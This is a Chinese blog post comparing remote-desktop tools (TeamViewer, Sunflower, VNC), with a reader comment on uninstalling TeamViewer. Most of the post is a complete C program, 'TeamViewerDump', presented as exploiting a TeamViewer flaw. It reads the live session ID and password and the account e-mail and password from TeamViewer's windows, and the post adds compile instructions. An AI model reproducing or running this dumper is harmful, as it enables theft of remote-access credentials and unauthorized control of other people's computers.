1.teamviewer,基于Wine,各个系统都有。速度不错,而且生成的访问码是一次性的,比较安全。就是有时候键盘没有反应.
teamv
有时候假死:
捕获
teamviewer有个漏洞,可以查看运行中的ID与密码:
#define WIN32_LEAN_AND_MEAN
#include
#include
#pragma comment( lib, "kernel32" )
#pragma comment( lib, "user32" )

int status = 0;

BOOL CALLBACK EnumMainTVWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);

if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
}

if (strstr(BufferContent, "Allow Remote Control") != NULL)
{
status = 1;
printf("TeamViewer ID: ");
}

if (strstr(BufferContent, "Please tell your partner") != NULL)
{
status = 1;
printf("TeamViewer PASS: ");
}

return 1;
}

BOOL CALLBACK EnumAccountWindow(HWND hwnd, LPARAM lParam)
{
const int BufferSize = 1024;
char BufferContent[BufferSize] = "";
SendMessage(hwnd, WM_GETTEXT, (WPARAM)BufferSize, (LPARAM)BufferContent);

if (status == 1)
{
printf("%s\n", BufferContent);
status = 0;
}

if (strstr(BufferContent, "E-mail") != NULL)
{
status = 1;
printf("E-mail: ");
}

if (strstr(BufferContent, "Password") != NULL)
{
status = 1;
printf("Password: ");
}

return 1;
}

int main()
{
HWND hwndTeamViewer = FindWindow(NULL, "TeamViewer");

if (hwndTeamViewer)
{
EnumChildWindows(hwndTeamViewer, EnumMainTVWindow, 0);
}

HWND hwndAccount = FindWindow(NULL, "Computers & Contacts");

if (hwndAccount)
{
EnumChildWindows(hwndAccount, EnumAccountWindow, 0);
}

return 0;
}

1
2
3
4
5
6
Compile with CL
cl TeamViewerDump.cpp
or with cl TeamViewerDump.cpp /EHsc
Requirements
TeamViewer must be running
Tested only with English GUI of TeamViewer

 

2.向日葵。
基于服务的,远程可以ssh,并且支持vpn。
色彩与分辨率控制不错,速度一般,免费版的好多功能没有;面板对linux支持不是太友好。
3.VNC速度不错,自定义配置比较好
vnc.png

2 对 “远程工具推荐”的想法;

  1. 彻底卸载teamviewer
    停止teamviewer进程和服务
    控制面板卸载teamviewer
    运行%appdata%,删除teamviewer目录
    注册表删除HKEY_CURRENT_USERS\Software\TeamViewer 以及HKEY_LOCAL_MACHINE\SOFTWARE\TeamViewer

回复 admin 取消回复

您的电子邮箱地址不会被公开。 必填项已用*标注

Captcha Code